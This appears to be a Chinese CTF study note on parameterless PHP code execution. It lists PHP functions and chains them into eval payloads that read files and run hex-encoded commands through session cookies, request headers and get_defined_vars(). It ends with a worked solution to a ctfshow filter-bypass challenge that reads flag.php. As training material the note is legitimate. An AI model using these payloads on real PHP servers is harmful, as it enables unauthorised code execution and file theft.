常用函数
目录操作
1 2 3 4 5
| getchwd() - 函数返回当前工作目录。 chdir() - 函数改变当前的目录。 dirname() - 函数返回路径中的目录部分。 scandir() - 函数返回指定目录中的文件和目录的数组。 glob() - 同上
|
数组操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 移动: end() - 将内部指针指向数组中最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() - 返回数组中的第一个单元 pos() - 同上 strrev() - 用于反转给定字符串 array_reverse() - 将数组内容反转 localeconv() - 返回一包含本地数字及货币格式信息的数组。(数组第一项是‘.’) array_shift() - 删除数组中第一个元素,并返回被删除元素的值。 array_flip() - 交换数组中的键和值,成功时返回交换后的数组 array_rand() - 从数组名中随机取出一个或多个单元
|
读文件操作
1 2 3 4 5
| readfile() - 读取文件。 readgzfile() - 可用于读取非 gzip 格式的文件 show_source() - 显示文件(语法高亮)。 highlight_file() - 显示文件(语法高亮)。 file_get_contents() - 把整个文件读成一个字符串。
|
字符串操作
1
| hex2bin() - 将16进制转换为ASCII字符
|
打印操作
1 2 3 4 5
| print() - 直接打印(不能打印数组和对象) print_r() - 直接打印(数组用结构表示) var_export() - 按类型直接打印内容(整数直接打印,字符(串)带上''打印) var_dump() - 打印类型长度和内容 debug_zval_dump() - 在var_dump()基础上多了点别的
|
利用session
读文件
1 2 3
| Cookie:PHPSESSID=要读的文件路径 readfile(session_id(session_start()));
|
命令执行
1 2 3 4
|
Cookie:PHPSESSID=命令(十六进制编码) eval(hex2bin(session_id(session_start())));
|
返回所有http头部信息
1 2 3 4
| var_dump(getallheaders());数组打印所有头部信息 改变某个头的内容为文件路径再用随机函数读取(多试几次) readfile(array_rand(array_flip(getallheaders())));
|
利用get_defined_vars()
数组形式返回所有当前已定义的变量($_GET $_POST $_FILES $_COOKIE)
uri/?a=/flag
然后print_r(get_defined_vars());可以看到a=/flag的位置
1
| Array ( [_GET] => Array ( [moran] => flag [a] => /flag ) [_POST] => Array ( [flag] => please_give_me_flaG [task] => print_r(get_defined_vars()); ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [str1] => print_r(get_defined_vars()); [str2] => please_give_me_flaG )
|
这是一个大数组套着许多的小数组,例子中参数a在第一个数组里第二位
我们可用current或者reset来先从大数组里返回第一个小数组,然后使用next或者end来回显该小数组中第二个键的值
1 2 3
| print_r(next(reset(get_defined_vars())));回显:/flag readfile(next(reset(get_defined_vars()));读出/flag #命令执行同理
|
别的姿势
localeconv()
1 2
| current(localeconv());可以构造'.'符号 print_r(scandir(current(localeconv()))); = ls
|
getcwd()
1 2 3 4
| print_r(getcwd());打印当前目录路径,例如/var/www/html print_r(dirname(getcwd()));打印指定路径的目录,例如/var/www 继续结合chdir() - 改变当前目录 print_r(scandir((dirname(getcwd()))));列出上一级目录文件名
|
其他payload
1 2 3 4 5 6 7 8
| show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));
|
读取根目录
1 2
| strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/ print_r(scandir(strrev(crypt(serialize(array()))))) = ls /
|
例题:ctfshow web入门40
1 2 3 4 5 6 7 8 9
| if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
print_r(scandir(current(localeconv())));列出当前目录下的文件
1
| Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
|
flag.php位于第三位,我们可以先reverse后用next带出上一个文件
print_r(next(array_reverse(scandir(current(localeconv())))));
直接读flag
highlight_file(next(array_reverse(scandir(current(localeconv())))));
使用highlight_file,show_source函数前端回显,可直接看到flag
使用readfile,file_get_contents等函数前端不回显,需查看源码
参考文章
RCE篇之无参数rce